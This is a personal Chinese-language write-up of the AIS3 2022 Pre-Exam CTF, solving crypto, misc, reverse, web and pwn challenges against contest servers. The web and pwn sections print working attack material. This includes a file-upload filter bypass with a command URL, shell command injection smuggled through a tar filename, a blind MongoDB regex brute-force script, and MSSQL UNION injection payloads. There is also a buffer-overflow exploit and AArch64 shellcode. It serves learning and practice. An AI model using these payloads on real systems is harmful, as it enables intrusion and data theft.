###### tags: `Computer Security` # AIS3 2022 Pre-Exam Writeup [TOC] --- 作為學校某堂課的期末考參加了今年AIS3的Pre Exam。 學校要算分所以決定以解各項目簡單題把分數弄好看一點為目標,但三天下來總覺得自己好像還是只有能力解出簡單題而已QQ 還有太多能學習的東西了,該多努力點 不過今年的暑假錄取了實習沒時間參加課程,再隔年可能就變社畜了,沒機會參與是有點小可惜 這次的結果: ![](https://i.imgur.com/Sp1WzW0.jpg) --- ## Crypto ### SC Difficulty: Baby Description: ``` SC? SuperChat? ``` 題目給了三個東西:source、加密後的source以及加密的Flag source內有說明這是Substitution cipher,就是把內容用替代文字替換,舉例來說: source: ``` def encrypt(T, file): with open(file) as f: pt = f.read() with open(f"{file}.enc", "w") as f: f.write(pt.translate(T)) ``` 經過Substitution加密後: ``` ksq swOijP6(B, qDns): FD6z pPsw(qDns) cI q: P6 = q.isck() FD6z pPsw(q"{qDns}.swO", "F") cI q: q.FiD6s(P6.6icwInc6s(B)) ``` Flag: ``` 5xvJ{IVnCDwT_I24t6W626DVw_ODPzJi_FDMz_awVFw_PWmDw6J86_m66cOa} ``` 能發現同一個字母替換後也會是同一種字母,例如範例中的e、f等字母 因此就可以利用這個關係找到對應的字把Flag還原,要寫sciprt或是直接用Ctrl+f+Replace都可以 :::success :triangular_flag_on_post: AIS3{s0lving_sub5t1tuti0n_ciph3r_wi7h_kn0wn_p14int3xt_4ttack} ::: --- ### Fast Cipher Difficulty: Baby Description: ![](https://i.imgur.com/OXI643O.png) Source: ```python= M = 2**1024 def f(x): # this is a *fast* function return ( 4 * x**4 + 8 * x**8 + 7 * x**7 + 6 * x**6 + 3 * x**3 + 0x48763 ) % M def encrypt(pt, key): ct = [] print(pt) for c in pt: ct.append(c ^ (key & 0xFF)) key = f(key) return bytes(ct) flag = '6c0ec840f88d4cd7fcc6d5c6d1dafcc1cad7d0fcc2d1c6fcd6d0c6c7fccfcccfde' ``` 隨便輸入幾串AIS3{開頭文字,會發現加密後的字串最後幾個字都會是一樣的,對的字越多,尾巴相同的部分就會越長,所以就直接利用這點暴力解了,一個一個試直到試的字串符合FLAG格式就是解,十秒鐘撐個幾輪就有了。 :::success :triangular_flag_on_post: AIS3{not_every_bits_are_used_lol} ::: --- ## Misc ### Excel Difficulty: baby Description: ``` Don't worry, this is not a real virus... ``` 附了一個excel檔,打開來excel會警告你說有巨集,逐步執行巨集後中間會發現這個 ![](https://i.imgur.com/C09hMXG.png) 應該有什麼比較聰明的方法啦只是我沒特別找qq :::success :triangular_flag_on_post: AIS3{XLM_iS_to0_o1d_but_co0o0o00olll!!} ::: #### 追記 好像直接按旁邊的評估值就可以了,有夠傻 --- ### Gift in the dream Difficulty: medium Description: ``` Someone send you his dream. Maybe he is trying to tell you a message. update 1: flag在l33t前是通順的句子。 update 2: Fixed typo in flag, please download the updated version ``` 給了這樣一個gif ![](https://i.imgur.com/lCEnzmX.gif) strings 一下會看到疑似是提示的句子 ![](https://i.imgur.com/wjFPctT.png) 提到了duration,那就來觀察看看每一幀的時間間隔,看起來就很Flag ![](https://i.imgur.com/tlSuGBA.png) ```python= duration = [65,73,83,51,123,53,84,51,103,110,48,103,82,52, 112,72,121,95,99,52,78,95,98,51,95,102,85,110, 95,115,48,109,51,55,105,77,101,125] print("".join(chr(i) for i in duration)) ``` 轉成文字就有了 :::success :triangular_flag_on_post: AIS3{5T3gn0gR4pHy_c4N_b3_fUn_s0m37iMe} ::: #### Reference: 1. https://ctf-wiki.org/misc/picture/gif/ --- ### Knock Difficulty: baby Description: ``` Knock Knock Knock ``` 給了一個網站,他會要你輸入比賽前用的那個Token, 輸入後只看到他說`I have knock on the {IP}.` 一開始真的看不出來應該要做什麼,下意識以為是web,但卻放在misc 最後決定錄封包觀察,結果發現在送出token後server透過UDP傳了好幾個封包來,內容全是"knock!!!"但是port都不一樣 ![](https://i.imgur.com/7bKT1eT.png) 不過port的尾數看起來十分可疑,出現65,73,83,51就大膽猜測跟FLAG有關,轉成文字後,果然沒錯 :::success :triangular_flag_on_post: AIS3{kn0ckKNOCKknock} ::: --- ## Reverse ### Time Management Difficulty: baby Description: ``` Free flag for you : ) ``` 先F5大法 ![](https://i.imgur.com/2rJZoPo.png) 可以發現他會在一直sleep的過程中一步一步把secret解密 那就直接順著邏輯直接解出secret: ```python= secret = [861096257,1,1869572219,9,1601790322,5,1769108595,6,1601398638,8, 1633645417,11,2036430700,7,1851875187,2,1702065503,4,1600943462, 0,1835888483,10,2103733857,3] key = [973148161,0,822358554,4542272,69014578,973799469,203030572, 222171395,739379761,436220160,1280056077,1043142173] flag = "" for i in range(0,24,2): b = secret[i] ^ key[secret[i + 1]]; a = bin(b)[2:] a = (a.zfill(32)) k = [] for j in range(0,4): char = a[8*j:8*j+8] k.append(chr(int(char, base = 2))) k = k[::-1] flag = flag + (''.join(c for c in k)) print(flag) ``` :::success :triangular_flag_on_post: AIS3{You_are_the_master_of_time_management!!!!!} ::: ### Calculator Difficulty: easy Description: ``` I built a simple calculator, although it has a lot of bugs :P ``` .NET的題目,可以用dnSpy還原出幾乎是原始碼的東西來看 除了exe檔外還有一個extensions資料夾,裡面有4個名稱是AIS3的dll, 四個打開來都可以看到類似下面這樣的東西,很像是在檢查FLAG ```csharp= public int Operate(string left, string right) { int result; try { int[] array = new int[] { 30, 4, 100 }; if (right.Length != 45) { throw new Exception(); } if (right[14] != 'A') { throw new Exception(); } if (right[3] != '{') { throw new Exception(); } for (int i = 0; i < 3; i++) { if ((int)(right[i] ^ 'W') != array[i]) { throw new Exception(); } } result = 1000 + int.Parse(this._calculator.Calculate(right.Substring(3))); } catch (Exception ex) { throw ex; } return result; } ``` 跟著條件走一輪可以得到四個很像FLAG的片段: ``` IS3{???? ??????A? ???????? ???????? ???????? ????? D??????? ???????? ???????? ???????? ?????G_G } 0T_N3T_F RAm3W0rk ???????? ???????? ??__ _15_S0_C 0mPlicaT 3d ``` 這邊可能有點通靈了一下,解出來的片段長度跟未知區塊的長度剛好對的上,所以就直接把他拚一起了,但當初在做的時候似乎是沒看到程式裡有把片段拚一起的動作 :::success :triangular_flag_on_post: AIS3{D0T_N3T_FRAm3W0rk_15_S0_C0mPlicaT3d__G_G} ::: #### Reference: 1. https://github.com/dnSpy/dnSpy --- ### 殼 Difficulty: easy Description: ![](https://i.imgur.com/bpChLO2.jpg) 給了一堆文言文,google一下文言文程式可以看到原本的repo,裡面有VScode的文言轉js plugin,不過轉完之後看起來還是很煩躁 ```javascript= var 殼 = _ => {} 殼 = 入 => { const _ans92 = 始於(入)("蛵煿 ") var 丁辰 = _ans92 if (丁辰) { const _ans93 = 字子(入)(3) var 地辛 = _ans93 const _ans94 = 希依(地辛) } else { if (入 == "助") { const _ans95 = 玲瓏() } else { const _ans96 = "指令「" + 入 var 丙丁 = _ans96 const _ans97 = 丙丁 + "」不存在" var 辛午 = _ans97 const _ans98 = 輸出(辛午) } } const _ans99 = 輸出(涅) } var 殼始 = _ => {} 殼始 = () => { const _ans101 = 輸出(涅) } ``` 總之在輸入`蛵煿 XXX`後,`希依()`會讀取我們的輸入(`XXX`)後經過一串運算(`禱()`),並檢查運算結果是不是跟`秘旗`一樣,是就會輸出`正解` ```javascript= var 希依 = _ => {} 希依 = 祈 => { const _ans86 = 禱(祈) 命 = _ans86 var _ans87 = "結果" var _ans88 = 命 var _ans89 = 歷 console.log(_ans88, _ans89) console.log(秘旗) if (命 == 秘旗) { console.log("正解") exit() } } ``` 運算的過程實在是很長又很煩躁,所以最後乾脆直接暴力解了,breakpoint停在檢查的地方觀察運算結果可以發現他有一點點規律性在,加上前面爆出`chaNcH4n`後大概可以知道後面會長怎樣了 :::success :triangular_flag_on_post: AIS3{chaNcH4n_a1_Ch1k1ch1k1_84n8An_M1nNa_5upa5utA_n0_TAMa90_5a} ::: #### Reference: 1. https://github.com/wenyan-lang/wenyan --- ## Web ### Poking Bear Difficulty: baby Description: ![](https://i.imgur.com/Bsw2hTf.jpg) ``` Poke the SECRET BEAR! ``` 網站打開後會有幾隻熊可以戳,戳SECRET BEAR的話就可以得到flag ![](https://i.imgur.com/4VQwS1Z.png) 關鍵的source如下,並沒有提供Secret bear的url,不過由其他隻熊的url可以合理推測secret bear應該也有一個id在,用Intruder爆看看就知道了 ```html= <a href="/bear/350" class="btn btn-primary">Go poke him !</a> <a href="#" class="btn btn-primary disabled" >Go poke him !</a> <a href="/bear/777" class="btn btn-primary">Go poke him !</a> ``` 在id=499時發現一個比較不一樣的response ![](https://i.imgur.com/AWr7wLG.png) 說你不是bear poker,所以把cookie中的human換成bear poker試試,成功拿到flag ![](https://i.imgur.com/t7uz3ZL.png) :::success :triangular_flag_on_post: AIS3{y0u_P0l\<3_7h3_Bear_H@rdLy><} ::: --- ### Simple File Uploader Difficulty: easy Description: ![](https://i.imgur.com/CEfWTox.png) ``` 一個簡單檔案上傳者。 ``` 一個有上傳功能的php,上傳後會用如下的黑名單檢查副檔名和內容, 總共有兩個部分要繞過: 1. 副檔名 2. 內容 ```php= if(in_array($file_ext, ['php', 'php2', 'php3', 'php4', 'php5', 'php6', 'phtml', 'pht'])) { die('p...php ?? (((゚Д゚;)))'); } $box = md5(session_start().session_id()); $dir = './uploads/' . $box . '/'; if (!file_exists($dir)) { mkdir($dir); } $is_bad = false; $file_content = file_get_contents($file_tmp); $data = strtolower($file_content); if (strpos($data, 'system') !== false) { $is_bad = true; } else if (strpos($data, 'exec') !== false) { $is_bad = true; } else if (strpos($data, 'passthru') !== false) { $is_bad = true; } else if (strpos($data, 'show_source') !== false) { $is_bad = true; } else if (strpos($data, 'proc_open') !== false) { $is_bad = true; } else if (strpos($data, 'popen') !== false) { $is_bad = true; } else if (strpos($data, 'pcntl_exec') !== false) { $is_bad = true; } else if (strpos($data, 'eval') !== false) { $is_bad = true; } else if (strpos($data, 'assert') !== false) { $is_bad = true; } else if (strpos($data, 'die') !== false) { $is_bad = true; } else if (strpos($data, 'shell_exec') !== false) { $is_bad = true; } else if (strpos($data, 'create_function') !== false) { $is_bad = true; } else if (strpos($data, 'call_user_func') !== false) { $is_bad = true; } else if (strpos($data, 'preg_replace') !== false) { $is_bad = true; } else if (strpos($data, 'scandir') !== false) { $is_bad = true; } ``` 1. 副檔名沒有檢查大小寫,所以把php改成pHp就可以繞過 2. 內容部分,這裡我是直接用phpfuck來繞過,蠻方便的(感謝splitline) ![](https://i.imgur.com/Lc9Lj2L.png) 上傳完後他會給你存取的url, :::info /uploads/{randomhex}.pHp?cmd=cd%20/%20;%20./rUn_M3_t0_9et_fL4g ::: :::success :triangular_flag_on_post: AIS3{H3yyyyyyyy_U_g0t_mi٩(ˊᗜˋ*)و} ::: #### Reference: 1. https://github.com/splitline/PHPFuck --- ### TariTari Difficulty: easy Description: ``` 這是一個可以把你的檔案變成 .tar.gz 的垃圾網站! For Beginners: 觀察每一個可以被控制的參數! Note: 1.這題包含 MyFirstCTF only 的 FLAG,如果你發現了它,代表你在正確的路上, 但提交它並不能拿到分數 QQ 2.此題沒有對外網路連線 --- (Hint: Something has been encoded...) ``` 可以檔案後,server會把檔案壓縮成.tar.gz給你下載 觀察一下request可以發現下載時檔名被base64 encode了 ![](https://i.imgur.com/Mh8im2E.png) 這裡`NzIzNmE1MTQ1MjFiNDNmYTY0Njc4OTkwYTcxYWY1OTAudGFyLmd6`經過base64 decode後會是`7236a514521b43fa64678990a71af590.tar.gz` 將file改成../../../etc/passwd之類的並base64 encode,發現能成功讀到東西 ![](https://i.imgur.com/AE1pwY6.png) 換成../index.php後得到source code: ```php= function tar($file) { $filename = $file['name']; $path = bin2hex(random_bytes(16)) . ".tar.gz"; $source = substr($file['tmp_name'], 1); $destination = "./files/$path"; passthru("tar czf '$destination' --transform='s|$source|$filename|' --directory='/tmp' '/$source'", $return); if ($return === 0) { return [$path, $filename]; } return [FALSE, FALSE]; } if ($_SERVER['REQUEST_METHOD'] == 'POST') { $file = $_FILES['file']; if ($file === NULL) { echo "<p>No file was uploaded.</p>"; } elseif ($file['error'] !== 0) { echo "<p>Error: Upload error.</p>"; } else { [$path, $filename] = tar($file); if ($path === FALSE) { echo "<p>Error: Failed to create archive.</p>"; } else { $path = base64_encode($path); $filename = urlencode($filename); echo "<a href=\"/download.php? file=$path&name=$filename.tar.gz\">Download</a>"; } } } ``` 可以注意的地方是`tar()`中的`passthru()`,因為`$filename`可控,所以應該是一個可以inject的點。 檔名如果有`/`會被tar吃掉,如果有空白也會出錯,所以需要想辦法繞過這兩點。這個部分跟去年有一題有點類似,可以用差不多的方法測看看。自己把server跑起來測試會比較方便看出問題。 :::info filename=abc.txt|';cd\${IFS}..;cd\${IFS}..;cd\${IFS}..;var=\$(ls);echo\${IFS}$var;# ::: ![](https://i.imgur.com/IW2pu3o.png) ![](https://i.imgur.com/9B0hE8C.png) :::info filename=abc.txt|';cd\${IFS}..;cd\${IFS}..;cd\${IFS}..;cat\${IFS}y000000_i_am_the_f14GGG.txt;# ::: ![](https://i.imgur.com/ZNZtswe.png) ![](https://i.imgur.com/78s0zar.png) :::success :triangular_flag_on_post: AIS3{test_flag (to be changed)} ::: #### Reference: 1. https://github.com/splitline/My-CTF-Challenges/tree/master/ais3-pre-exam/2021/Web --- ### The Best Login UI Difficulty: easy Description: ``` 我做ㄌ世界上最棒的登入介面,現在給你看看 >< ``` 關鍵Source: ```javascript= const bodyParser = require('body-parser'); app.use(bodyParser.urlencoded({ extended: true })); const mongo = { host: process.env.MONGO_HOST || 'localhost', db: process.env.MONGO_DB || 'loginui', }; app.post('/login', async (req, res) => { const db = app.get('db'); const { username, password } = req.body; console.log({ username, password }); const user = await db.collection('users').findOne({ username, password }); if (user) { res.send('Success owo!'); } else { res.send('Failed qwq'); } }); ``` 可以注意的點有: 1. 使用MongoDB,不是傳統的SQLi 2. bodyParser的extended為true,意思是傳入`username[]=123`時,他會解析為 `username: ["123"]` 3. 成功或失敗只會回傳`Success owo!`或`Failed qwq`,表示應該是blind injection inject的方法跟[2]差不多,是利用Mongo的Regex query,比較坑的是regex中的特殊符號還有空白,要特別注意(我被坑了好幾次qq) 舉例來說以下三種都會得到`Success owo!`: `username=admin&password[$regex]=^AIS3{Bl1nd-b4s3d\+r3gex.*` `username=admin&password[$regex]=^AIS3{Bl1nd-b4s3d+r3gex.*` `username=admin&password[$regex]=^AIS3{Bl1nd-b4s3d r3gex.*` 我是先用字母搜,符號手動處理,比較不會出錯,或者,要直接用Intruder也行 ```python= flag = "AIS3{" url = "http://chals1.ais3.org:54088/login" while True: flag_found = False for i in string.ascii_letters + string.digits: payload = flag + i post_data = {'username': 'admin', 'password[$regex]': "^"+payload+".*"} r = requests.post(url, data=post_data) if "owo" in r.text: flag = flag + i print(flag) break ``` :::success :triangular_flag_on_post: AIS3{Bl1nd-b4s3d r3gex n0sq1i?! (:3[___]} ::: #### Reference: 1. https://blog.maple3142.net/2022/01/19/ais3-eof-ctf-quals-2021-writeups/ 2. https://blog.0daylabs.com/2016/09/05/mongo-db-password-extraction-mmactf-100/ 3. https://www.mongodb.com/docs/manual/reference/operator/query/regex/ 4. https://www3.ntu.edu.sg/home/ehchua/programming/howto/Regexe.html --- ### Cat Emoji Database 🐱 Difficulty: medium Description: ``` 🐱🐱🐱🐱🐱🐱 This is a database of all the cat 🐱 emoji in the world. 🐱🐱🐱🐱🐱🐱 ``` ![](https://i.imgur.com/bYPHheg.jpg) ``` For Beginners: * 這是一個 SQL injection 挑戰,關於 SQL injection 的教學可以參考 How-to-Hack-Websites * 首先,你可能需要先知道它用的是什麼 SQL (DBMS),不同的 SQL 會有不同的攻擊手法 * 有一些工具能讓你在線上測試 SQL 語法,當然你也可以試著使用 docker 在本機測試(如果你熟悉的話) ``` 附上關鍵的source: ```python= @app.before_request def fix_path(): # trim all the whitespace from path trimmed = re.sub('\s+', '', request.path) if trimmed != request.path: return redirect(trimmed) @app.route('/api/emoji/<unicode>') def api(unicode): cursor = db().cursor() cursor.execute("SELECT * FROM Emoji WHERE Unicode = %s" % unicode) row = cursor.fetchone() if row: return jsonify({'data': row}) else: return jsonify({'error': 'Cat emoji not found'}) ``` 首先需要先知道他是哪種DBMS,需要先繞過空白來達成Injection,可以利用`id=(-1)UNION(SELECT(1),2,3)`這種方式來繞。 可以使用sqlfiddle[3]之類的地方測試,比較好看出問題 ![](https://i.imgur.com/zKjQhoF.png) ![](https://i.imgur.com/GDDWBY6.png) 確定inject成功後,找出DBMS: :::info GET /api/emoji/(0)UNION(SELECT(0),(0),(0),@@version,(0)) ::: ![](https://i.imgur.com/6MoPSqc.png) 像MySQL之類的可以使用`concat()`來把資料庫內容串起來,但MSSQL沒有,找了一陣子後發現`STRING_AGG()`可以用來代替concat。 :::info GET /api/emoji/(0)UNION(SELECT(0),(0),(0),STRING_AGG(table_name,':'),(0)FROM"information_schema"."tables") ::: ![](https://i.imgur.com/beLfWC5.png) :::info GET /api/emoji/(0)UNION(SELECT(0),(0),(0),STRING_AGG(column_name,':'),(0)FROM"information_schema"."columns") ::: ![](https://i.imgur.com/eh5uPp2.png) :::info GET /api/emoji/(0)UNION(SELECT(0),(0),(0),m1ght_be_th3_f14g,(0)FROM"s3cr3t_fl4g_in_th1s_t4bl3") ::: ![](https://i.imgur.com/rhcKUYv.png) :::success :triangular_flag_on_post: AIS3{Yep /r/BadUIBattles happened again} ::: #### Reference: 1. https://github.com/w181496/Web-CTF-Cheatsheet#mssql 2. https://websec.wordpress.com/2010/03/19/exploiting-hard-filtered-sql-injections/ 3. http://sqlfiddle.com/ 4. https://docs.microsoft.com/zh-tw/sql/t-sql/functions/string-agg-transact-sql?view=sql-server-ver15 ##### 後記 後來才知道MSSQL會把不是`\s`(\r\t\n\f)的其他字元也當做空白處理,所以其實像是下面的payload也是能work的: :::info GET /api/emoji/0%01UNION%01SELECT%010,0,0,m1ght_be_th3_f14g,0%01FROM%01s3cr3t_fl4g_in_th1s_t4bl3 ::: --- ## Pwn ### SAAS - Crash Difficulty: easy Description: ``` This challenge is not about Software as a Service, but String as a Service. You only need to crash the program at remote to get this flag, no need to actually write exploit for it ``` source有點長,總之蠻像一個heap題,有新增字串、編輯字串、刪除字串等功能,但題目說只要crash掉service就好,不需要get shell。 直接連上去新增刪除個幾次,就會因為double free把service crash掉了。 :::success :triangular_flag_on_post: AIS3{congrats_on_crashing_my_editor!_but_can_you_get_shell_from_it?} ::: --- ### UTF-8 Editor - Crash Difficulty: easy Description: ``` A simple UTF-8 editor written in C++, nothing can go wrong right? You only need to crash the program at remote to get this flag, no need to actually write exploit for it ``` 跟SAAS類似的東西,只是換成UTF-8,而且沒有刪除功能,而且題目tag說是`not heap` Google一下utf8 crash很快就找到相關資料,只要送一個UTF-8解不出來的東西他就會直接出錯crash。 exploit: ```python= from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = remote("chals1.ais3.org", 6003) r.sendline("\xd8\x00") r.interactive() ``` :::success :triangular_flag_on_post: AIS3{unsigned_intergers_are_so_cool} ::: #### Reference: 1. https://stackoverflow.com/questions/53821423/how-to-crash-utf-8-encode --- ### BOF2WIN Difficulty: baby Description: ``` Exploit the bof !! ``` source: ```c= #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <fcntl.h> void get_the_flag() { char buf[0x30] = {0}; int fd = open("/home/bof2win/flag", O_RDONLY); read(fd, buf, 0x30); write(1, buf, 0x30); close(fd); } int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); char buf[0x10]; puts("What's your name?"); gets(buf); printf("Hello, %s!\n", buf); return 0; } ``` 簡單的bof題。拿flag的function也寫好了,只要讓他overflow跳過去那裏就可以了。 先找出`get_the_flag()`的位址是`0x401216` ![](https://i.imgur.com/86djnvI.png) 接著觀察stack看要塞多少字才能讓他overflow,這裡return address在`rsp+0x18`的地方 所以要塞0x18個字 ![](https://i.imgur.com/HxXyIxH.png) 送出`b"A"*24+p64(0x401216)`後,可以看到main的return address被改成get_the_flag了 ![](https://i.imgur.com/JdpeUnn.png) exploit: ```python= from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = remote("chals1.ais3.org", 12347) #401216 r.sendlineafter("What's your name?", b"A"*24+p64(0x401216)) r.interactive() ``` :::success :triangular_flag_on_post: AIS3{Re@1_B0F_m4st3r!!} ::: --- ### Give me SC Difficulty: easy Description: ``` Oh you know x86-64 shellcode, what about Aarch64? ``` source: ```c= #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/mman.h> typedef void (*funcp)(char *); char buf[0x1000]; int main(int argc, char **argv){ char name[0x100]; setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); mprotect(buf, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC); printf("What's your name:\n"); read(0, name, 0x100); printf("Give me shellcode:\n"); read(0, buf, 0x1000); printf("Run your shellcode:\n"); ((funcp)buf)(name); } ``` 根據題目描述他是Aarch64架構,找一個Aarch64能用的shellcode餵進去就可以了。 exploit: ```python= from pwn import * context.arch = 'aarch64' context.terminal = ['tmux', 'splitw', '-h'] r = remote("chals1.ais3.org", 15566) r.sendlineafter("What's your name:", "aaa") r.sendafter("Give me shellcode:",b"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1 \x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa \xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02 \xd4") r.interactive() ``` :::success :triangular_flag_on_post: AIS3{Y0uR_f1rst_Aarch64_Shellcoding} ::: #### Reference: 1. https://www.exploit-db.com/shellcodes/47048